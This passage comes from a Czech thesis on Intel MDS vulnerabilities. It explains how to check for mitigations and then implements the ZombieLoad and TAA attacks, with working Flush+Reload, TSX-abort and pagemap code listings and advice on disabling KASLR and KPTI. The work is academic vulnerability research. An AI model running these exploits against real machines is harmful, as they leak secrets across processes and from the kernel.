speciálńı instrukce rdmsr a wrmsr, které mohou být vykonány pouze v kernel
módu. Aby bylo možné ověřit, jaký MSR registr je na CPU dostupný, využ́ıvá
se instrukce cpuid. Pomoćı instrukce cpuid je možné źıskat r̊uzné informace5

o procesoru v závislosti na nastavené hodnotě registru eax (a př́ıpadně také
ecx).

Pro signalizaci, že procesor má proti dané chybě aplikované hardwarové záplaty,
slouž́ı MSR registr IA32 ARCH CAPABILTIES. Jeho dostupnost je možné ověřit
voláńım instrukce cpuid s nastaveńım hodnot registr̊u eax = 0x7, ecx = 0.
IA32 ARCH CAPABILTIES je dostupný, pokud je v registru edx bit 29 nasta-
vený. To je znázorněno v ukázce kódu 3.1. Je zde ověřována př́ıtomnost
některých daľśı vlastnost́ı procesoru, které budou objasněny v následuj́ıćıch
odstavćıch.

3.1.1 Zranitelnost MFBDS

Zranitelnost MFBDS může být hardwarově záplatována, aniž by byly opra-
veny ostatńı MDS zranitelnosti. Je to zp̊usobeno t́ım, že princip MFBDS je

5Mimo jiné je možné źıskat parametry jednotlivých cache pamět́ı nebo informaci o tom,
zda je instrukce clflush dostupná.
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3. Opravy a záplaty

velmi podobný dř́ıve objeveným chybám Rogue Data Cache Load6, 7 (RDCL)
a L1 Terminal Fault (L1TF).

Pokud je bit 0 (RDCL NO) MSR registru IA32 ARCH CAPABILTIES nastavený,
je hardware opatřen opravami proti zranitelnostem RDCL, L1TF a MFBDS.

3.1.2 Ostatńı MDS zranitelnosti

MDS zranitelnosti (vyjma TAA) jsou opravené, pokud je bit 5 (MDS NO) v re-
gistru IA32 ARCH CAPABILTIES nastavený. Opravena je v tom př́ıpadě i zrani-
telnost MFBDS nezávisle na hodnotě bitu 0 registru IA32 ARCH CAPABILTIES.

3.1.3 Zranitelnost TAA

Dı́ky zcela jinému principu muśı být zranitelnost TAA dodatečně hardwarově
záplatována. Zda jsou opravy aplikované, je možné zjistit z bitu 8 (TAA NO)
MSR registru IA32 ARCH CAPABILTIES (hodnota 1 znamená opraveno).

3.2 Aplikace softwarových záplat

V př́ıpadě, že je daný procesor zranitelný, je potřeba aplikovat softwarové
záplaty. Př́ıtomnost záplat je možné ověřit vykonáńım cpuid instrukce s nasta-
veńım eax = 0x7, ecx = 0. V registru edx muśı být bit 10 (MD CLEAR) nasta-
vený na 1. Jako záplatu Intel aktualizoval sv̊uj mikrokód tak, že změnil chováńı
nepouž́ıvané instrukce verw [20]. Tato instrukce nyńı vyprázdńı všechny buf-
fery, které jsou zranitelné v̊uči MDS útok̊um na daném procesoru. K vyprázdněńı
buffer̊u také dojde při vyprázdněńı L1 datové cache a při opouštěńı SGX
režimu. Operačńı systémy a hypervizory jsou zodpovědné za voláńı verw in-
strukce při přeṕınáńı kontextu, resp. při přeṕınáńı virtuálńıho stroje. Intel dále
doporučil vývojář̊um operačńıch systémů úpravu plánovače proces̊u, př́ıpadně
Hyper-Threading zcela vypnout.

Aby se zamezil únik citlivých dat, Intel doporučuje současně na obou hy-
perthreadech spouštět procesy, které si mohou vzájemně d̊uvěřovat, př́ıpadně
vlákna stejného procesu. Dále je třeba při přepnut́ı jednoho hyperthreadu do
kernel módu přepnout i druhý hyperthread. Útočńık by mohl vytvořit apli-
kaci, kdy v jednom vlákně bude útočit a v druhém využ́ıvat metod operačńıho
systému. Současně je potřeba využ́ıvat verw instrukce při přeṕınáńı kontextu,
jak je popsáno výše.

6Jako RDCL je Intelem označovaná zranitelnost s běžněǰśım názvem Meltdown (ve své
p̊uvodńı verzi).

7Konkrétńı implementace útoku na RDCL je dokonce identická s RIDL variantou
MFBDS. Přistupuje se na procesu nepř́ıstupnou adresu (na stránku patř́ıćı kernelu). Lǐśı
se pouze reakce procesoru na nepovolený př́ıstup. V př́ıpadě RDCL se spekulativně použij́ı
data z požadované adresy, v př́ıpadě MFBDS se použij́ı data z LFB bez vazby na adresu.
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3.2. Aplikace softwarových záplat

1 int main(void)
2 {
3 uint32_t cpuid_status ;
4 uint64_t ia32_arch_capabilities ;
5
6 __asm__ __volatile__ (
7 "mov rax , 0x07 \n"
8 "mov rcx , 0 \n"
9 "cpuid \n"

10 : "=d" ( cpuid_status )
11 : : "rax", "rbx", "rcx");
12
13 printf (" MD_CLEAR : %d\n", ( cpuid_status >> 10) & 1);
14 printf (" L1D_FLUSH : %d\n", ( cpuid_status >> 28) & 1);
15 printf (" IA32_ARCH_CAPABILITIES : %d\n",
16 ( cpuid_status >> 29) & 1);
17
18 if (( cpuid_status >> 29) & 1)
19 {
20 int fd = open("/dev/cpu /0/ msr", O_RDONLY );
21 if (fd < 0)
22 return 1;
23 if (pread(fd , & ia32_arch_capabilities , 8, 0x10A) != 8)
24 {
25 close(fd);
26 return 2;
27 }
28 close(fd);
29
30 printf (" RDCL_NO : %ld\n", ia32_arch_capabilities & 1);
31 printf (" MDS_NO : %ld\n",
32 ( ia32_arch_capabilities >> 5) & 1);
33 printf (" TAA_NO : %ld\n",
34 ( ia32_arch_capabilities >> 8) & 1);
35 }
36
37 return 0;
38 }

Výpis kódu 3.1: Program ověřuj́ıćı dostupnost softwarových záplat,
hardwarových oprav a MSR registru umožňuj́ıćıho vyprázdněńı L1 datové
cache

Jak se ale ukázalo, toto řešeńı neńı dostačuj́ıćı. Po zveřejněńı záplat byla
zdokumentována daľśı zranitelnost L1D Eviction Sampling (L1DES) [23]. Ta
funguje na stejném principu jako MFBDS, ale obcháźı záplatu pomoćı verw
instrukce. Přestože je fill buffer při přepnut́ı kontextu vyprázdněn či nahrazen
necitlivými daty, data v L1 datové cache z̊ustávaj́ı. Jakmile má být modi-
fikovaná cache line nahrazena, proběhne zápis do operačńı paměti pomoćı
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3. Opravy a záplaty

Obrázek 3.1: Intelem doporučená úprava plánovače OS [22]

LFB. Tato data mohou v LFB nějakou dobu po zápisu z̊ustat a je na ně
možné zaútočit známým MFBDS zp̊usobem. Řešeńım by bylo při přeṕınáńı
kontextu vyprazdňovat L1 datovou cache. Procesor může disponovat MSR
registrem, který umožňuje vyprázdněńı L1 datové cache. Jeho dostupnost je
možné ověřit pomoćı instrukce cpuid s nastaveńım eax = 0x7, ecx = 0, kdy
bit 28 (L1D FLUSH) v registru edx muśı být nastavený. V praxi toto řešeńı
většinou využ́ıvané neńı d́ıky neúměrně velkému dopadu na výkon vzhledem
k závažnosti zranitelnosti. Data v L1DES variantě útoku mohou unikat v mno-
hem menš́ım množstv́ı než u klasické MFBDS varianty8.

Line fill buffer nav́ıc mohou využ́ıvat některé struktury procesoru, např́ıklad
MMU [2]. Dı́ky tomu je možné źıskat data o překladu virtuálńı adresy na fyzic-
kou útoč́ıćıho procesu a procesu běž́ıćıho na druhém hyperthreadu. Tyto infor-
mace mohou být využité k daľśım útok̊um. Zranitelnost je nav́ıc velice obt́ıžné
opravit nebo zmı́rnit, jelikož hardwarové komponenty procesoru využ́ıvaj́ı LFB
nezávisle na běhu uživatelských programů či jádra.

8V př́ıpadě klasické varianty MFBDS unikaj́ı data v jednotkách kilobyt̊u za sekundu,
zat́ımco při testováńı varianty L1DES bylo naměřeno 0.1 B/s [1].
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Kapitola 4
Realizace útoku ZombieLoad

Tato kapitola popisuje kompletńı postup provedeńı útoku na obě hlavńı zra-
nitelnosti popsané v dokumentu ZombieLoad. Pro útok prostřednictv́ım zra-
nitelnosti MFBDS bylo implementováno v́ıce variant. Jednodušš́ı z nich jsou
založené na kódu autor̊u útoku RIDL [24]. Složitěǰśı varianta vycháźı z im-
plementace týmu ZombieLoad [25]. Útok na zranitelnost TAA je v této práci
proveden v jedné variantě, která čerpá z kódu RIDL [24] i ZombieLoad [25].
V př́ıpadě útoku na zranitelnost TAA je vyžadováno instrukčńı rozš́ı̌reńı Intel
TSX. Při útoku na MFBDS neńı TSX nutnost́ı, ale umožňuje elegantńı řešeńı
odchyceńı systémové výjimky pro nepovolený př́ıstup do paměti. Instrukčńı
rozš́ı̌reńı TSX je dostupné na výběrových procesorech zveřejněných po roce
20149.

Postup prováděńı útoku by se dal shrnout v následuj́ıćıch bodech:

1. identifikace meze pro čas př́ıstupu do cache a operačńı paměti,

2. vyprázdněńı indikačńıch úsek̊u paměti z cache hierarchie,

3. tranzientńı provedeńı škodlivého kódu se zakódováńım tajné hodnoty,

4. źıskáńı odtajněné informace pomoćı indikačńıch úsek̊u,

5. libovolné opakováńı krok̊u 2 až 4,

6. post-processing nad źıskanými daty.

9Instrukčńı sada TSX se poprvé objevila na mikroarchitektuře Intel Haswell, kde obsa-
hovala hardwarovou chybu a byla následně pomoćı aktualizace mikrokódu vypnuta. [26]
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4. Realizace útoku ZombieLoad

4.1 Určeńı meze času př́ıstupu pro Flush+Reload

Útok pomoćı cache postranńıho kanálu využ́ıvá faktu, že rozd́ıl v čase př́ıstupu
do cache a do operačńı paměti je velký a tedy i snadno detekovatelný. Vhodný
zp̊usob pro detekci, odkud byla data źıskána, je stanoveńı mezńı hodnoty.
V jednodušš́ım př́ıpadě je možné takovou mezńı hodnotu stanovit před sa-
motným útokem. Komplexněǰśı řešeńı by zahrnovalo pr̊uběžné přepoč́ıtáváńı
meze z d̊uvod̊u popsaných dále.

1 .intel_syntax noprefix
2 .text
3 .global flush_reload
4 .type flush_reload , @function
5 flush_reload :
6 mfence
7 lfence
8 clflush [rdi]
9 mfence

10 rdtscp
11 lfence
12 mov rsi , rax
13 mov rax , [rdi]
14 rdtscp
15 lfence
16 sub rax , rsi
17 mfence
18 ret
19
20 .global touch_reload
21 .type touch_reload , @function
22 touch_reload :
23 mfence
24 lfence
25 mov rax , [rdi]
26 lfence
27 rdtscp
28 lfence
29 mov rsi , rax
30 mov rax , [rdi]
31 rdtscp
32 lfence
33 sub rax , rsi
34 mfence
35 ret

Výpis kódu 4.1: Funkce pro měřeńı času př́ıstupu do operačńı paměti a cache

Funkce flush reload v ukázce 4.1 měř́ı čas př́ıstupu do operačńı paměti. Nej-
prve je z cache hierarchie vyprázdněna cache line s danou adresou a následně
se měř́ı doba př́ıstupu na tuto adresu. Instrukce mfence a lfence zajǐst’uj́ı seri-
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4.1. Určeńı meze času př́ıstupu pro Flush+Reload

alizaci instrukćı [13]. Konkrétně instrukce lfence garantuje, že jej́ı prováděńı
začne až v okamžiku, kdy byly všechny předchoźı instrukce load provedeny10

a žádná j́ı následuj́ıćı instrukce se nezačne vykonávat dř́ıve, než se tato lfence
dokonč́ı. Instrukce mfence garantuje, že všechny load a store operace budou
před jej́ım provedeńım globálně viditelné.

Samotné měřeńı prob́ıhá mezi dvojićı rdtscp instrukćı. Tato instrukce ulož́ı
do registru edx vyšš́ı bity a do registru eax nižš́ı bity 64 bitového TSC (Time
Stamp Counter) č́ıtače. Následně jsou od sebe naměřené hodnoty odečteny,
č́ımž vznikne výsledek měřeńı. Při odeč́ıtáńı se pro zjednodušeńı použ́ıvá pouze
spodńıch 32 bit̊u, což může vést ke vzniku chybných měřeńı při přetečeńı
32 bit̊u č́ıtačem. Jelikož ale během měřeńı mohou vznikat mnohem častěji jiné
nepřesnosti, je možné si takové zjednodušeńı dovolit. Funkce touch reload
slouž́ıćı k měřeńı času př́ıstupu do cache paměti se lǐśı pouze t́ım, že instrukce
clflush je nahrazena př́ıstupem na adresu uloženou v registru edi.

Pro stanoveńı meze se osvědčilo alespoň 100 000 měřeńı (dohromady 200 000
hodnot). Sṕı̌se než pr̊uměr z měřeńı je vhodněǰśı stanovit mediány času př́ıstupu
do cache a operačńı paměti. Obzvlášt’ v př́ıpadě měřeńı př́ıstup̊u do operačńı
paměti mohou být některé hodnoty výrazně vyšš́ı a výsledek může být zkres-
lený. Uvedený postup je zobrazen v rovnićıch 4.1. Proměnné c0 až c100000
představuj́ı jednotlivé naměřené časy př́ıstupu do paměti, která je načtená
v cache (př́ıstup do této paměti vyvolá cache hit). Podobně proměnné u0
až u100000 označuj́ı měřené časy př́ıstupu do paměti, která v cache načtená
neńı (př́ıstup vyvolá cache miss). Jako tcached je označen medián ze všech
naměřených čas̊u př́ıstup̊u do cache. Obdobně tuncached znač́ı medián čas̊u
př́ıstupu do nenacachované paměti. Výsledná mez treshold poté může být
spoč́ıtána jako prostředńı hodnota mezi tcached a tuncached.

tcached = Median(c1, c2, . . . , c100000)
tuncached = Median(u1, u2, . . . , u100000)

treshold = tcached + tuncached

2

(4.1)

Pokud byl během měřeńı vyt́ıžený pamět’ový subsystém, může být výsledná
mez zcela nepoužitelná. Takové měřeńı je znázorněno v grafu 4.1. Proto je
vhodné v př́ıpadě obou soubor̊u dat spoč́ıtat také rozptyl. Pokud by byl ale-
spoň jeden moc velký, je potřeba měřeńı zopakovat. Měřeńı může být ne-
použitelné i z d̊uvodu vyt́ıžeńı procesoru, kdy je větš́ı pravděpodobnost, že
dojde k přerušeńı právě mezi prováděńım instrukćı rdtscp. Časovače TSC na

10To znamená, že zápis do paměti provedený před lfence instrukćı nemuśı být viditelný
ostatńımi jádry.
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4. Realizace útoku ZombieLoad

jednotlivých jádrech procesoru nutně nemuśı být synchronizované, ale měly by
tikat se stejnou frekvenćı. Pokud dojde k přerušeńı během měřeńı, naměřená
hodnota je nepoužitelná nezávisle na tom, zda byl proces předaný jinému
jádru či nikoliv. Přesto je vhodné proces stanov́ıćı mez spouštět s připnut́ım11

k danému procesorovému jádru, na kterém poběž́ı útoč́ıćı proces.

Použ́ıváńı hodnot č́ıtače TSC může být poměrně problematické [28]. Imple-
mentace č́ıtače se v pr̊uběhu vývoje mikroarchitektur Intelu r̊uznila. Na mo-
derńıch procesorech by měla být dostupná varianta, kdy č́ıtač tiká s kon-
stantńı periodou nezávisle na aktuálńı pracovńı frekvenci jádra12. Snadno se
tak může stát, že spoč́ıtaná mez je po změně frekvence procesoru nesprávná.
To je znázorněno v grafu 4.2, kde došlo ke změně frekvence procesorového
jádra během měřeńı meze.
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Obrázek 4.1: Graf měřeńı čas̊u př́ıstupu do operačńı paměti a cache
s vyt́ıženým pamět’ovým systémem

11Moderńı OS umožňuj́ı spouštět procesy (či jednotlivá vlákna procesu) na dané
podmnožině logických jader procesoru, Na Linuxu je možné spustit proces s připnut́ım ke
zvolé podmnožině jader př́ıkazem taskset [27]

12Dále se rozlǐsuj́ı varianty, kdy TSC tiká nezávisle na uspáńı procesorového jádra či
nikoliv.
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Obrázek 4.2: Graf měřeńı čas̊u př́ıstupu do operačńı paměti a cache během
změny frekvence CPU

4.2 Útok na TAA

Ve výpisu 4.2 je znázorněna kostra útoku. Je vyžadováno nastaveńı konstanty
CACHE TRESHOLD. Ta může být určena např́ıklad pomoćı přiloženého programu
cache treshold13. Dále je potřeba nastavit počet iteraćı, ve kterých se má
program snažit tajná data źıskat. Ve většině př́ıpad̊u je vhodné provést alespoň
100 000 iteraćı.

V exploitu prob́ıhá načteńı do 64-bitového registru. Útočńık tedy teoreticky
může během jedné iterace źıskat až 8 tajných byt̊u. Pro zakódováńı 8 byt̊u
během jedné iterace je pro metodu Flush+Reload potřeba 256 · 8 = 2048 in-
dikačńıch úsek̊u / cache lines. Pokud by jedna cache line měla velikost 64 B,
stačilo by teoreticky ”pouze“ 128 KiB. Takové řešeńı by ale v př́ımočaré im-
plementaci nefungovalo.

Přestože jsou všechny indikačńı úseky z cache hierarchie v každé iteraci pro-
gramu vyflushované, může procesor spekulativně některé nač́ıst zpět. To ve
finále velmi zkresluje samotný výstup programu, kdy je spekulativně načtena

13Využit́ı programu je výrazně doporučeno, jelikož měřeńı času př́ıstupu je shodné s t́ım,
které využ́ıvá samotný exploit.
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4. Realizace útoku ZombieLoad

většina indikačńıch úsek̊u a neńı možné určit skutečnou tajnou hodnotu. Ta-
kové chováńı je typické, pokud se k indikačńım úsek̊um přistupuje tak, jak
jsou za sebou umı́stěné v paměti.

Vhodnou opravou může být využ́ıt lineárńı kongruenčńı generátor s maximálńı
periodou. Pokud má být např́ıklad přistoupeno k 256 indikačńım úsek̊um na
indexech 0 až 255, stač́ı v cyklu tyto indexy procházet a v každé iteraci pomoćı
lineárńıho kongruenčńıho generátoru spoč́ıtat index nový, na základě kterého
se přistouṕı k indikačńımu úseku. Př́ıkladem přepočtu indexu může být 4.2,
kde je volbou parametr̊u zaručeno, že po dosazeńı č́ısel 0 až 255 bude vyge-
nerovaná jiná permutace. Takové př́ıstupy už se procesoru jev́ı jako náhodné
a spekulativńı načteńı neńı tak časté.

index = |17 · oldindex + 3|256 (4.2)

Předchoźı řešeńı je sice poměrně funkčńı, ale zpomaluje samotný exploit. Na
základě experiment̊u je možné si všimnout, že procesor provád́ı spekulativńı
načteńı pouze v př́ıpadě, kdy opakovaně docháźı ke čteńı ze stejné stránky. Na
několika r̊uzných systémech s r̊uznými mikroarchitekturami procesor̊u Intel se
mi podařilo ověřit, že ke spekulativńımu načteńı docháźı až při třet́ım čteńı ze
stejné stránky. Za předpokladu, že stránka má standardńı velikost 4 KiB, je
možné využ́ıt 2048·8·256 B = 4 MiB paměti k indikaci všech 8 byt̊u. Toto řešeńı
sice zab́ırá v́ıce paměti, ale je výrazně rychleǰśı, a proto bylo v ukázkovém pro-
gramu zvoleno. Paměti s indikačńımi úseky odpov́ıdá proměnná probe array
ve výpisu. Aby bylo pole skutečně zarovnané na stránky, využ́ıvá se atribut
aligned.

K proměnné exploit page se přistupuje v samotném exploitu a je to právě
ta pamět’, ze které se za speciálńıch podmı́nek čte a během čteńı docháźı
ke spekulativńımu předáńı nesprávné a potenciálně citlivé hodnoty. Společně
s probe array se pole nuluj́ı, aby se předešlo r̊uzným optimalizaćım, které by
mohly využ́ıt toho, že se větš́ı část paměti poĺı nepouž́ıvá.

Před samotným provedeńım exploitu je vhodné všechny indikačńı úseky z cache
vyprázdnit. Na pole probe array se přitom nahĺıž́ı jako na 256 úsek̊u veli-
kosti 16 KiB. Každý úsek přitom reprezentuje jednu možnou hodnotu bytu
a v každém úseku je možné indikovat až 8 byt̊u. Prvńı byte se indikuje na
počátku 16 KiB úseku, druhý byte na offsetu 2048 v rámci úseku, třet́ı byte
na offsetu 4096 apod.

Následuje hlavńı cyklus, ve kterém docháźı k źıskáváńı tajných dat. Funkce
exploit v probe array indikuje cache lines podle spekulativně źıskaných
dat a vrát́ı status zrušeńı TSX transakce. Hodnota 0xFFFFFFFF znač́ı, že
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k abortu v̊ubec nedošlo. Naopak nastavený bit 4 stavového slova v této imple-
mentaci exploitu většinou znamená, že došlo k požadovanému asynchronńımu
abortu. Takto se odfiltruj́ı situace, ve kterých k úniku dat ani nemohlo doj́ıt.

Známým zp̊usobem se následně projdou jednotlivé indikačńı úseky a podle
času př́ıstupu urč́ı, se kterými byty procesor ve funkci exploit spekulativně
pracoval. Předpokládá se přitom, že hodnota daného bytu byla indikována ma-
ximálně dvakrát – jednou se spekulativńı hodnotou a podruhé se skutečnou
hodnotou uloženou v exploit page (hodnotou 0). Může se stát, že hodnota
tajného bytu je také 0, v takovém př́ıpadě je situaci obt́ıžněǰśı detekovat. Mno-
hem častěǰśı je ale situace, kdy je indikace odtajněného bytu z cache hierar-
chie vyprázdněna ještě před t́ım, než mohlo doj́ıt k jej́ımu ověřeńı. V takovém
př́ıpadě je použita 0, která plńı úlohu neznámé hodnoty.

1 # define CACHE_TRESHOLD 150
2 # define ITERATIONS 100000
3
4 static uint8_t __attribute__ (( aligned (4096) ))
5 probe_array [256 * 8 * 2048];
6 static uint8_t __attribute__ (( aligned (4096) ))
7 exploit_page [4096];
8
9 int main(int argc , char ** argv)

10 {
11 uint32_t tsx_status ;
12 array <uint8_t , 8> leaked_bytes ;
13 map <array <uint8_t , 8>, size_t > counts ;
14 memset ( probe_array , 0, sizeof ( probe_array ));
15 memset ( exploit_page , 0, sizeof ( exploit_page ));
16
17 for ( size_t i = 0; i < 256 * 8; i++)
18 flush( probe_array + i * 2048);
19 for ( size_t i = 0; i < ITERATIONS ; i++)
20 {
21 tsx_status = exploit ( exploit_page , probe_array );
22 if ( tsx_status != 0 xFFFFFFFFu && ( tsx_status & 0x4))
23 {
24 leaked_bytes .fill (0);
25 for (int j = 0; j < 256; j++)
26 for (int k = 0; k < 8; k++)
27 if ( reload_flush ( probe_array + j * 16384
28 + k * 2048) < CACHE_TRESHOLD )
29 leaked_bytes [k] = j;
30 counts [ leaked_bytes ]++;
31 }
32 }
33 }

Výpis kódu 4.2: Kostra útoku na zranitelnost TAA
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4. Realizace útoku ZombieLoad

Pro úspěšné provedeńı funkce exploit je potřeba naj́ıt metodu, jak spolehlivě
zajistit asynchronńı zrušeńı TSX transakce. Intel ve své dokumentaci uvád́ı
výčet situaćı, které mohou transakci zrušit, ale př́ımo nerozlǐsuje, zda do-
jde ke zrušeńı sychronńımu či asynchronńımu. Elegantńı řešeńı stav́ı na in-
strukci clflush a faktu, že vyprazdňováńı cache line z pamět’ové hierarchie
trvá několik takt̊u procesoru.

Nejprve je potřeba zajistit, že v cache paměti bude načtena nějaká cache
line (cache line z exploit page). Následně se instrukćı clflush vyvolá vy-
prazdňováńı této cache line. Ihned poté instrukćı xbegin procesor vstouṕı do
RTM regionu TSX transakce. Uvnitř transakce stač́ı provést načteńı z právě
flushované cache line. V tom okamžiku dojde ke konfliktu v read-setu trans-
akce, což by mělo vyvolat zrušeńı transakce a pokračováńı od adresy, která
byla specifikovaná jako argument xbegin. Než k samotnému zrušeńı trans-
akce dojde, může být aktuálńı load instrukci spekulativně předaná nedávno
zpracovávaná hodnota line fill bufferem.

Celá situace je zachycena v kódu 4.3. Je zde předpokládaná volaćı konvence
System V X86 64, podle které je uložena v registru rdi adresa pole exploit page
a v registru rsi adresa probe array. Na řádkách 8 až 15 prob́ıhá př́ıprava
hodnot do registr̊u. Do eax je zapsaná taková hodnota, jaké registr jako stav
zrušeńı TSX transakce nemůže nikdy nabývat. Pozná se tak, zda opravdu
k zrušeńı transakce došlo. Do zbývaj́ıćıch registr̊u jsou uloženy adresy probe array
s danými offsety podle toho, kolikátý byte daný registru bude reprezentovat.
Registr rcx bude indikovat nejnižš́ı byte, rdx druhý nejnižš́ı apod. Řádky
17 – 22 obsahuj́ı samotné jádro exploitu funguj́ıćı přesně podle předcházej́ıćıho
odstavce. Je d̊uležité si uvědomit, že na řádce 22 je do registru r8 spekula-
tivně načtena tajná hodnota a následuj́ıćı instrukce budou vykonány speku-
lativně, dokud procesor nedetekuje TSX konflikt a celou spekulativńı větev
zahod́ı. Je tedy vhodné v probe array indikovat odtajněná data co nejdř́ıve.
Ve výpisu je pro zjednodušeńı uveden postup pro źıskáńı nejnižš́ıch dvou byt̊u.
Pro zbývaj́ıćı byty je postup analogický, pouze je vyšš́ı pravděpodobnost, že
v rámci spekulace se jejich indikace již nestihne provést. Kompletńı kód pro-
gramu je k dispozici v přiloženém adresáři taa.
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1 .intel_syntax noprefix
2 .text
3 .global exploit
4 .type exploit , @function
5 exploit :
6 # zaloha registru na zasobnik
7
8 mov eax , 0 xFFFFFFFF
9 mov rcx , rsi

10 mov rdx , rsi
11 add rdx , 2048
12
13 mov r8 , [rdi]
14 mfence
15 lfence
16 clflush [rdi]
17 xbegin rtm_end
18 mov r8 , [rdi]
19
20 mov r9 , r8
21 and r9 , 0xFF
22 shl r9 , 14
23 add rcx , r9
24 mov rcx , [rcx]
25
26 mov r9 , r8
27 and r9 , 0xFF00
28 shl r9 , 6
29 add rdx , r9
30 mov rdx , [rdx]
31
32 xend
33 rtm_end :
34 mfence
35 # obnova registru ze zasobniku
36 ret

Výpis kódu 4.3: Jádro útoku na zranitelnost TAA

4.3 Útok na MFBDS

V př́ıpadě zranitelnosti MFBDS je většina kódu identická. Tato podkapitola
se proto zaměřuje pouze na popis zp̊usob̊u, jak spekulativńı vykonáváńı s po-
tenciálně citlivou hodnotou vyvolat pomoćı MFBDS. K takové situaci může
doj́ıt v př́ıpadě load operace, která vyvolá page fault nebo ke svému vykonáńı
potřebuje asistenci mikrokódu. Z pohledu analýzy závažnosti zranitelnosti jsou
potom zaj́ımavé předevš́ım ty zp̊usoby, které na ćılovém systému nevyžaduj́ı
administrátorská oprávněńı.
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4.3.1 Útok pomoćı page fault̊u

Page faulty je snadné systematicky vyvolávat mnoha zp̊usoby. Nejjednodušš́ı
možnost́ı je přistupovat na procesu nepřidělenou adresu (např́ıklad adresu 0).
V takovém př́ıpadě je ale třeba zajistit, že útoč́ıćı proces nebude ukončen
signálem segmentation fault. Př́ıstup na nevalidńı adresu je možné provést
uvnitř TSX transakce. Dı́ky tomu nedojde k architekturálńı výjimce a proces
neńı ukončen, pouze se zruš́ı transakce. Daľśım řešeńım je odchyceńı signálu
a oprava registr̊u a zásobńıku tak, aby bylo možné dál pokračovat v programu.
V neposledńı řadě je možnost útoč́ıćım procesem vytvořit proces nový (se
sd́ıleným adresńım prostorem) a samotný útok provést v něm. Nově vytvořený
proces pak může být výjimkou ukončen a útoč́ıćı proces přesto źıská odtajněná
data. Tato varianta MFBDS útoku je v přiloženém řešeńı naimplementovaná
pod názvem mfbds null ptr a jako zp̊usob ošetřeńı architekturálńı výjimky
je zvoleno odchyceńı signálu SIGSEGV [29] a obnoveńı registr̊u a zásobńıku [30].

Existuj́ı i možnosti, které architekturálńı výjimku nevyvolávaj́ı. Jádro Linuxu
nab́ıźı funkci madvise [31], která umožňuje označit, že daná stránka nebude
v nejbližš́ı době potřeba. V praxi OS stránku zahod́ı. Následné čteńı z ad-
resńıho rozsahu této stránky zp̊usob́ı opětovné načteńı, pokud byla stránka
sd́ılena v́ıce procesy, př́ıpadně byla mapovaná na nějaký soubor. Pokud šlo
o tzv. anonymńı stránku (jej́ı obsah nebyl sd́ılen s v́ıce procesy ani nebyl
uložen v souboru), OS vytvoř́ı novou stránku vyplněnou nulami14. Př́ıstup
do vytvořené vynulované stránky pak vyvolá page fault. Dále lze zmı́nit va-
riantu, kdy je do adresńıho prostoru namapován velký soubor (řádově jed-
notky GiB) a následně se přistupuje na jednotlivé stránky z namapovaného
adresńıho rozsahu. Obě varianty jsou v přiloženém řešeńı dostupné pod názvy
mfbds madvise, respektive mfbds large file.

4.3.2 Útok pomoćı asistence mikrokódu

Systematické prováděńı load operaćı s asistenćı mikrokódu je o něco složitěǰśı.
V dokumentu ZombieLoad [1] je navrženo řešeńı vyžaduj́ıćı administrátorská
oprávněńı, př́ıpadně využit́ı jiných zranitelnost́ı pro źıskáńı potřebných infor-
maćı. K provedeńı útoku je potřeba libovolná v uživatelském adresńım pro-
storu dostupná stránka s právy pro čteńı. Pokud neńı tato stránka aktuálně
odložená na disku, nacháźı se v nějakém rámci v operačńı paměti. V ad-
resńım prostoru jádra OS tak existuje stránka, která na tento rámec také
ukazuje d́ıky př́ımému mapováńı fyzické paměti do adresńıho prostoru kernelu.
Zjǐstěńı adresy této stránky je však běžně možné pouze s administrátorskými
oprávněńımi.

14Tato implementace je vzhledem k popisu (stránka nebude v nejbližš́ı době potřeba)
často vńımána jako nešt’astná a byla již předmětem několika diskuźı [32].
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Na operačńım systému Linux existuje speciálńı soubor /proc/self/pagemap,
který umožňuje právě běž́ıćımu procesu určit č́ıslo rámce, na který je mapo-
vaná daná stránka tohoto procesu [33]. Č́ıslo rámce pak stač́ı vynásobit veli-
kost́ı stránky a přič́ıst k němu počátečńı kernelovou adresu př́ımo mapované
fyzické paměti. Ta má v moderńı implementaci hodnotu 0xffff888000000000
za předpokladu, že neńı použita ochrana KASLR. KASLR je možné vypnout
přidáńım parametru nokaslr při zaváděńı jádra Linuxu. Proces źıskáńı pro
danou uživatelskou stránku odpov́ıdaj́ıćı stránku kernelovou je znázorněn ve
výpisu 4.4. Pro úspěšné přečteńı č́ısla rámce je vyžadováno administrátorské
oprávněńı. V programu se poč́ıtá s t́ım, že předaná adresa uživatelské stránky
nemuśı být nutně zarovnaná na násobek 4096. Nejnižš́ıch 12 bit̊u vypočtené
kernelové stránky je proto doplněno z adresy stránky uživatelské.

1 void * get_kernel_page (void * user_page )
2 {
3 int fd = open("/proc/self/ pagemap ", O_RDONLY );
4 uint64_t data;
5
6 if (pread(fd , &data , 8, ( uint64_t ) user_page / 4096 * 8) != 8)
7 exit (1);
8 close(fd);
9

10 data &= 0 x7FFFFFFFFFFFFFULL ;
11 return (void *)(0 xFFFF888000000000ULL | (data << 12)
12 | (( uint64_t ) user_page & 0xFFF));
13 }

Výpis kódu 4.4: Funkce pro źıskáńı odpov́ıdaj́ıćı kernelové stránky ze stránky
uživatelské

Útok spoč́ıvá ve vyvoláńı vyprazdňováńı cache line pomoćı uživatelské stránky
a následném čteńı z právě flushované cache line prostřednictv́ım kernelové
stránky. T́ım dojde k asistenci mikrokódu a v rámci spekulace mohou být
předána data z LFB. Stejně jako v prvńı popisované variantě útoku MFBDS je
nutné odchytit architekturálńı výjimku pomoćı dř́ıve uvedených technik. Aby
pomoćı adresy kernelové stránky opravdu došlo k př́ıstupu na vyprazdňovanou
cache line, je potřeba mı́t vypnutou ochranu kernelového adresńıho prostoru
KPTI. Toho je možné doćılit předáńım parametru nopti při zaváděńı jádra.
Hlavńı myšlenka útoku je vyobrazena ve výpisu 4.5, kde je v registru rdi
uložena adresa stránky uživatelského prostoru a v registru rsi adresa od-
pov́ıdaj́ıćı stránky kernelového adresńıho prostoru. Pro zjednodušeńı je zde
potlačena výjimka pomoćı TSX regionu. Přiložená varianta útoku s názvem
mfbds zombieload nevyuž́ıvá TSX, ale odchyceńı signálu SIGSEGV (stejně
jako varianta mfbds null ptr). Rozhodl jsem se tak předevš́ım proto, aby ne-
bylo možné tuto variantu zaměnit s útokem na TAA, jelikož jsou obě varianty
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4. Realizace útoku ZombieLoad

v konečné implementaci velmi podobné.

1 clflush [rdi]
2 xbegin rtm_end
3 mov r8 , [rsi]
4 # indikace odtajnenych dat v r8
5 xend

Výpis kódu 4.5: Jádro útoku na MFBDS pomoćı asistence mikrokódu

4.4 Program oběti

